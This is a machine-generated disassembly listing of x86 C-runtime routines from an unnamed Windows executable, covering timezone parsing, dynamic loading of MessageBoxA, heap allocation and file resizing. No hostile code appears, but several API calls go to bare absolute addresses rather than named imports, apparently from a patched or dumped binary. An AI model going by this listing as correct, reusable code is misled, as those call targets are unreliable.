		nop
		call	near ptr 28907EEh
		test	eax, eax
		jz	short loc_4247A4
		xor	esi, esi


loc_4247A4:				; CODE XREF: sub_42478C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42478C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247A8	proc near		; CODE XREF: sub_4222C2+15Bp
					; sub_42470C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	near ptr 2610A41h
		nop
		test	eax, eax
		jz	short loc_4247BC
		xor	esi, esi


loc_4247BC:				; CODE XREF: sub_4247A8+10j
		mov	eax, esi
		pop	esi
		retn
sub_4247A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42255C


loc_4247C0:				; CODE XREF: sub_42255C:loc_4225ADj
		push	0Ah
		call	sub_4235C9
		push	16h
		call	sub_425955
		pop	ecx
		pop	ecx
		push	3
		call	sub_41B7C2
; END OF FUNCTION CHUNK	FOR sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4247D7	proc near		; CODE XREF: sub_422669:loc_4226A8p
		cmp	dword_4DBC40, 0
		jnz	short locret_4247EB
		call	sub_4247EC
		inc	dword_4DBC40

locret_4247EB:				; CODE XREF: sub_4247D7+7j
		retn
sub_4247D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247EC	proc near		; CODE XREF: sub_4247D7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4DBB88, ebp
		mov	dword_43D430, ebx
		mov	dword_43D420, ebx
		call	sub_425AC7
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424915
		push	offset dword_4DBB90
		nop
		call	near ptr 2850000h
		cmp	eax, ebx
		jz	loc_424A44
		mov	eax, dword_4DBB90
		mov	ecx, dword_4DBBE4
		imul	eax, 3Ch
		cmp	word_4DBBD6, bp
		push	1
		pop	edx
		mov	dword_43D388, eax
		mov	dword_4DBB88, edx
		jz	short loc_424863
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43D388, eax


loc_424863:				; CODE XREF: sub_4247EC+69j
		cmp	word_4DBC2A, bp
		jz	short loc_424887
		mov	eax, dword_4DBC38
		cmp	eax, ebp
		jz	short loc_424887
		sub	eax, ecx
		mov	dword_43D38C, edx
		imul	eax, 3Ch
		mov	dword_43D390, eax
		jmp	short loc_424893
; ---------------------------------------------------------------------------


loc_424887:				; CODE XREF: sub_4247EC+7Ej
					; sub_4247EC+87j
		mov	dword_43D38C, ebp
		mov	dword_43D390, ebp


loc_424893:				; CODE XREF: sub_4247EC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_42717C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43D414
		push	ebx
		push	offset dword_4DBB94
		push	edi
		push	dword_4DBA24
		call	esi
		test	eax, eax
		jz	short loc_4248D0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4248D0
		mov	eax, off_43D414
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4248D8
; ---------------------------------------------------------------------------


loc_4248D0:				; CODE XREF: sub_4247EC+D1j
					; sub_4247EC+D7j
		mov	eax, off_43D414
		and	byte ptr [eax],	0


loc_4248D8:				; CODE XREF: sub_4247EC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43D418
		push	ebx
		push	offset dword_4DBBE8
		push	edi
		push	dword_4DBA24
		call	esi
		test	eax, eax
		jz	loc_424A3C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_424A3C
		mov	eax, off_43D418
		and	byte ptr [eax+3Fh], 0
		jmp	loc_424A44
; ---------------------------------------------------------------------------


loc_424915:				; CODE XREF: sub_4247EC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_424A44
		mov	eax, dword_4DBC3C
		cmp	eax, ebp
		jz	short loc_424938
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424A44


loc_424938:				; CODE XREF: sub_4247EC+139j
		push	dword_4DBC3C
		call	sub_41B0B1
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4DBC3C, eax
		jz	loc_424A44
		push	esi
		push	eax
		call	sub_41BEB0
		push	3
		push	esi
		push	off_43D414
		call	sub_41B5F0
		mov	eax, off_43D414
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42498D
		push	1
		inc	esi
		pop	edi


loc_42498D:				; CODE XREF: sub_4247EC+19Bj
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43D388, ecx


loc_4249A4:				; CODE XREF: sub_4247EC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4249B2
		cmp	al, bl
		jl	short loc_4249B5
		cmp	al, 39h
		jg	short loc_4249B5


loc_4249B2:				; CODE XREF: sub_4247EC+1BCj
		inc	esi
		jmp	short loc_4249A4
; ---------------------------------------------------------------------------


loc_4249B5:				; CODE XREF: sub_4247EC+1C0j
					; sub_4247EC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43D388
		add	ecx, eax
		mov	dword_43D388, ecx


loc_4249D3:				; CODE XREF: sub_4247EC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4249E0
		cmp	al, 39h
		jg	short loc_4249E0
		inc	esi
		jmp	short loc_4249D3
; ---------------------------------------------------------------------------


loc_4249E0:				; CODE XREF: sub_4247EC+1EBj
					; sub_4247EC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	ecx, dword_43D388
		add	ecx, eax
		mov	dword_43D388, ecx


loc_4249FB:				; CODE XREF: sub_4247EC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424A08
		cmp	al, 39h
		jg	short loc_424A08
		inc	esi
		jmp	short loc_4249FB
; ---------------------------------------------------------------------------


loc_424A08:				; CODE XREF: sub_4247EC+1CCj
					; sub_4247EC+1F7j ...
		cmp	edi, ebp
		jz	short loc_424A14
		neg	ecx
		mov	dword_43D388, ecx


loc_424A14:				; CODE XREF: sub_4247EC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43D38C, eax
		jz	short loc_424A3C
		push	3
		push	esi
		push	off_43D418
		call	sub_41B5F0
		mov	eax, off_43D418
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_424A44
; ---------------------------------------------------------------------------


loc_424A3C:				; CODE XREF: sub_4247EC+10Bj
					; sub_4247EC+115j ...
		mov	eax, off_43D418
		and	byte ptr [eax],	0


loc_424A44:				; CODE XREF: sub_4247EC+40j
					; sub_4247EC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4247EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A4A	proc near		; CODE XREF: sub_422669+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43D38C, edi
		jnz	short loc_424A5E


loc_424A57:				; CODE XREF: sub_424A4A+148j
					; sub_424A4A+150j ...
		xor	eax, eax
		jmp	loc_424BAA
; ---------------------------------------------------------------------------


loc_424A5E:				; CODE XREF: sub_424A4A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43D420
		jnz	short loc_424A7C
		cmp	eax, dword_43D430
		jz	loc_424B7E


loc_424A7C:				; CODE XREF: sub_424A4A+24j
		cmp	dword_4DBB88, edi
		jz	loc_424B54
		movzx	ecx, word_4DBC36
		push	ecx
		cmp	word_4DBC28, di
		movzx	ecx, word_4DBC34
		push	ecx
		movzx	ecx, word_4DBC32
		push	ecx
		movzx	ecx, word_4DBC30
		push	ecx
		jnz	short loc_424ACE
		movzx	ecx, word_4DBC2C
		push	edi
		push	ecx
		movzx	ecx, word_4DBC2E
		push	ecx
		movzx	ecx, word_4DBC2A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_424AE2
; ---------------------------------------------------------------------------


loc_424ACE:				; CODE XREF: sub_424A4A+65j
		movzx	ecx, word_4DBC2E
		push	ecx
		push	edi
		movzx	ecx, word_4DBC2A
		push	edi
		push	ecx
		push	eax
		push	edi


loc_424AE2:				; CODE XREF: sub_424A4A+82j
		push	ebx
		call	sub_424BF6
		movzx	eax, word_4DBBE2
		add	esp, 2Ch
		cmp	word_4DBBD4, di
		push	eax
		movzx	eax, word_4DBBE0
		push	eax
		movzx	eax, word_4DBBDE
		push	eax
		movzx	eax, word_4DBBDC
		push	eax
		jnz	short loc_424B3C
		movzx	eax, word_4DBBD8
		push	edi
		push	eax
		movzx	eax, word_4DBBDA
		push	eax
		movzx	eax, word_4DBBD6
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_424B31:				; CODE XREF: sub_424A4A+108j
		push	edi
		call	sub_424BF6
		add	esp, 2Ch
		jmp	short loc_424B7E
; ---------------------------------------------------------------------------


loc_424B3C:				; CODE XREF: sub_424A4A+C8j
		movzx	eax, word_4DBBDA
		push	eax
		push	edi
		movzx	eax, word_4DBBD6
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424B31
; ---------------------------------------------------------------------------


loc_424B54:				; CODE XREF: sub_424A4A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424BF6
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424BF6
		add	esp, 58h


loc_424B7E:				; CODE XREF: sub_424A4A+2Cj
					; sub_424A4A+F0j
		mov	edx, dword_43D424
		mov	eax, dword_43D434
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424BAE
		cmp	ecx, edx
		jl	loc_424A57
		cmp	ecx, eax
		jg	loc_424A57
		cmp	ecx, edx
		jle	short loc_424BC2
		cmp	ecx, eax
		jge	short loc_424BC2


loc_424BA8:				; CODE XREF: sub_424A4A+166j
					; sub_424A4A+16Aj
		mov	eax, ebx


loc_424BAA:				; CODE XREF: sub_424A4A+Fj
					; sub_424A4A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424BAE:				; CODE XREF: sub_424A4A+144j
		cmp	ecx, eax
		jl	short loc_424BA8
		cmp	ecx, edx
		jg	short loc_424BA8
		cmp	ecx, eax
		jle	short loc_424BC2
		cmp	ecx, edx
		jl	loc_424A57


loc_424BC2:				; CODE XREF: sub_424A4A+158j
					; sub_424A4A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424BE9
		xor	ecx, ecx
		cmp	eax, dword_43D428
		setnl	cl


loc_424BE5:				; CODE XREF: sub_424A4A+1AAj
		mov	eax, ecx
		jmp	short loc_424BAA
; ---------------------------------------------------------------------------


loc_424BE9:				; CODE XREF: sub_424A4A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43D438
		setl	cl
		jmp	short loc_424BE5
sub_424A4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BF6	proc near		; CODE XREF: sub_424A4A+99p
					; sub_424A4A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424C91
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424C21
		shl	esi, 2
		mov	eax, dword_43D438[esi]
		jmp	short loc_424C2A
; ---------------------------------------------------------------------------


loc_424C21:				; CODE XREF: sub_424BF6+1Ej
		shl	esi, 2
		mov	eax, dword_43D46C[esi]


loc_424C2A:				; CODE XREF: sub_424BF6+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_424C64
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424C6E
; ---------------------------------------------------------------------------


loc_424C64:				; CODE XREF: sub_424BF6+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_424C6E:				; CODE XREF: sub_424BF6+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424CAC
		cmp	[ebp+arg_8], 0
		jnz	short loc_424C82
		mov	esi, dword_43D43C[esi]
		jmp	short loc_424C88
; ---------------------------------------------------------------------------


loc_424C82:				; CODE XREF: sub_424BF6+82j
		mov	esi, dword_43D470[esi]


loc_424C88:				; CODE XREF: sub_424BF6+8Aj
		cmp	ecx, esi
		jle	short loc_424CAC
		sub	ecx, 7
		jmp	short loc_424CAC
; ---------------------------------------------------------------------------


loc_424C91:				; CODE XREF: sub_424BF6+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424CA2
		mov	ecx, dword_43D438[eax*4]
		jmp	short loc_424CA9
; ---------------------------------------------------------------------------


loc_424CA2:				; CODE XREF: sub_424BF6+A1j
		mov	ecx, dword_43D46C[eax*4]


loc_424CA9:				; CODE XREF: sub_424BF6+AAj
		add	ecx, [ebp+arg_18]


loc_424CAC:				; CODE XREF: sub_424BF6+7Cj
					; sub_424BF6+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424CDD
		mov	eax, [ebp+arg_1C]
		mov	dword_43D424, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43D420, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43D428, eax
		jmp	short loc_424D32
; ---------------------------------------------------------------------------


loc_424CDD:				; CODE XREF: sub_424BF6+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43D434, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43D390
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43D438, eax
		jns	short loc_424D15
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43D438, eax
		jmp	short loc_424D26
; ---------------------------------------------------------------------------


loc_424D15:				; CODE XREF: sub_424BF6+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424D2C
		sub	eax, edx
		inc	ecx
		mov	dword_43D438, eax


loc_424D26:				; CODE XREF: sub_424BF6+11Dj
		mov	dword_43D434, ecx


loc_424D2C:				; CODE XREF: sub_424BF6+126j
		mov	dword_43D430, ebx


loc_424D32:				; CODE XREF: sub_424BF6+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424BF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D36	proc near		; CODE XREF: ___:00422E9Dp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424D47
		add	esp, 0Ch
		retn
sub_424D36	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D47	proc near		; CODE XREF: sub_424D36+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DCEC1[eax], cl
		jnz	short loc_424D74
		cmp	[esp+arg_4], 0
		jz	short loc_424D6D
		movzx	eax, word_43C9E2[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424D6F
; ---------------------------------------------------------------------------


loc_424D6D:				; CODE XREF: sub_424D47+16j
		xor	eax, eax


loc_424D6F:				; CODE XREF: sub_424D47+24j
		test	eax, eax
		jnz	short loc_424D74
		retn
; ---------------------------------------------------------------------------


loc_424D74:				; CODE XREF: sub_424D47+Fj
					; sub_424D47+2Aj
		push	1
		pop	eax
		retn
sub_424D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D78	proc near		; CODE XREF: sub_4235C9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DBC44, ebx
		push	esi
		push	edi
		jnz	short loc_424DC7
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26B0000h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424DFD
		mov	esi, dword_4270BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DBC44, eax
		jz	short loc_424DFD
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DBC48, eax
		call	esi
		mov	dword_4DBC4C, eax


loc_424DC7:				; CODE XREF: sub_424D78+Bj
		mov	eax, dword_4DBC48
		test	eax, eax
		jz	short loc_424DE6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424DE6
		mov	eax, dword_4DBC4C
		test	eax, eax
		jz	short loc_424DE6
		push	ebx
		call	eax
		mov	ebx, eax


loc_424DE6:				; CODE XREF: sub_424D78+56j
					; sub_424D78+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DBC44


loc_424DF9:				; CODE XREF: sub_424D78+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424DFD:				; CODE XREF: sub_424D78+1Cj
					; sub_424D78+33j
		xor	eax, eax
		jmp	short loc_424DF9
sub_424D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E01	proc near		; CODE XREF: sub_423936+22p
					; sub_423936+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_424E22
		test	esi, esi
		jnz	short loc_424E1C
		push	1
		pop	esi


loc_424E1C:				; CODE XREF: sub_424E01+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_424E22:				; CODE XREF: sub_424E01+12j
					; sub_424E01+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424E81
		mov	eax, dword_4DCFE8
		cmp	eax, 3
		jnz	short loc_424E4D
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DCFE0
		ja	short loc_424E6C
		push	eax
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424E97
		jmp	short loc_424E6C
; ---------------------------------------------------------------------------


loc_424E4D:				; CODE XREF: sub_424E01+30j
		cmp	eax, 2
		jnz	short loc_424E6C
		cmp	esi, dword_43C9D4
		ja	short loc_424E6C
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424EAB


loc_424E6C:				; CODE XREF: sub_424E01+3Bj
					; sub_424E01+4Aj ...
		push	esi
		push	8
		push	dword_4DCFE4
		nop
		call	near ptr 27A0000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424EA5


loc_424E81:				; CODE XREF: sub_424E01+26j
		cmp	dword_4DB9DC, 0
		jz	short loc_424EA5
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jz	short loc_424EAE
		jmp	short loc_424E22
; ---------------------------------------------------------------------------


loc_424E97:				; CODE XREF: sub_424E01+48j
		push	[ebp+arg_0]


loc_424E9A:				; CODE XREF: sub_424E01+ABj
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_424EA5:				; CODE XREF: sub_424E01+7Ej
					; sub_424E01+87j
		mov	eax, edi


loc_424EA7:				; CODE XREF: sub_424E01+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E01+69j
		push	esi
		jmp	short loc_424E9A
; ---------------------------------------------------------------------------


loc_424EAE:				; CODE XREF: sub_424E01+92j
		xor	eax, eax
		jmp	short loc_424EA7
sub_424E01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4239DB


loc_424EB2:				; CODE XREF: sub_4239DB+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DCC80, esi
		jle	short loc_424F05


loc_424EC1:				; CODE XREF: sub_4239DB+1528j
		mov	eax, dword_4DBC78
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424EFC
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424EE0
		push	eax
		call	sub_41B05B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424EE0
		inc	edi


loc_424EE0:				; CODE XREF: sub_4239DB+14F6j
					; sub_4239DB+1502j
		cmp	esi, 14h
		jl	short loc_424EFC
		mov	eax, dword_4DBC78
		push	dword ptr [eax+esi*4]
		call	sub_41B0B1
		mov	eax, dword_4DBC78
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_424EFC:				; CODE XREF: sub_4239DB+14F0j
					; sub_4239DB+1508j
		inc	esi
		cmp	esi, dword_4DCC80
		jl	short loc_424EC1


loc_424F05:				; CODE XREF: sub_4239DB+14E4j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4239DB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F0A	proc near		; CODE XREF: sub_423A33+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DCDA0
		jnb	loc_42503F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCCA0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_42503F
		push	1
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_425049
		push	2
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_425049
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FEC
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41B590
		push	8000h
		push	ebx
		call	sub_425B44
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_424FA0:				; CODE XREF: sub_424F0A+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424FAB
		mov	eax, edi


loc_424FAB:				; CODE XREF: sub_424F0A+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424FC9
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FDF
		jmp	short loc_424FA0
; ---------------------------------------------------------------------------


loc_424FC9:				; CODE XREF: sub_424F0A+B5j
		cmp	dword_4DB95C, 5
		jnz	short loc_424FDC
		mov	dword_4DB958, 0Dh


loc_424FDC:				; CODE XREF: sub_424F0A+C6j
		or	esi, 0FFFFFFFFh


loc_424FDF:				; CODE XREF: sub_424F0A+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425B44
		pop	ecx
		pop	ecx
		jmp	short loc_42502C
; ---------------------------------------------------------------------------


loc_424FEC:				; CODE XREF: sub_424F0A+71j
		jge	short loc_42502C
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_42272B
		push	ebx
		call	sub_4238A2
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2610000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42502C
		mov	dword_4DB958, 0Dh
		nop
		call	near ptr 2680F9Dh
		mov	dword_4DB95C, eax


loc_42502C:				; CODE XREF: sub_424F0A+E0j
					; sub_424F0A:loc_424FECj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42504C
; ---------------------------------------------------------------------------


loc_42503F:				; CODE XREF: sub_424F0A+1Aj
					; sub_424F0A+36j
		mov	dword_4DB958, 9


loc_425049:				; CODE XREF: sub_424F0A+4Ej
					; sub_424F0A+63j
		or	eax, 0FFFFFFFFh


loc_42504C:				; CODE XREF: sub_424F0A+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_424F0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425050	proc near		; CODE XREF: sub_4241CF+2Bp
					; sub_4241CF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425066
		cmp	ecx, esi
		jnb	short loc_425069


loc_425066:				; CODE XREF: sub_425050+10j
		push	1
		pop	eax


loc_425069:				; CODE XREF: sub_425050+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425050	endp


; =============== S U B	R O U T	I N E =======================================



sub_425071	proc near		; CODE XREF: sub_42512A+40p
					; sub_42512A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		inc	dword ptr [esi+8]


loc_4250A3:				; CODE XREF: sub_425071+19j
					; sub_425071+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250BB
		inc	dword ptr [esi+8]


loc_4250BB:				; CODE XREF: sub_425071+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250CF	proc near		; CODE XREF: sub_42512A+30p
					; sub_42512A+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4250CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250FD	proc near		; CODE XREF: sub_4256C2+1C8p
					; sub_425BBA+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4250FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42512A	proc near		; CODE XREF: sub_4251F1+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
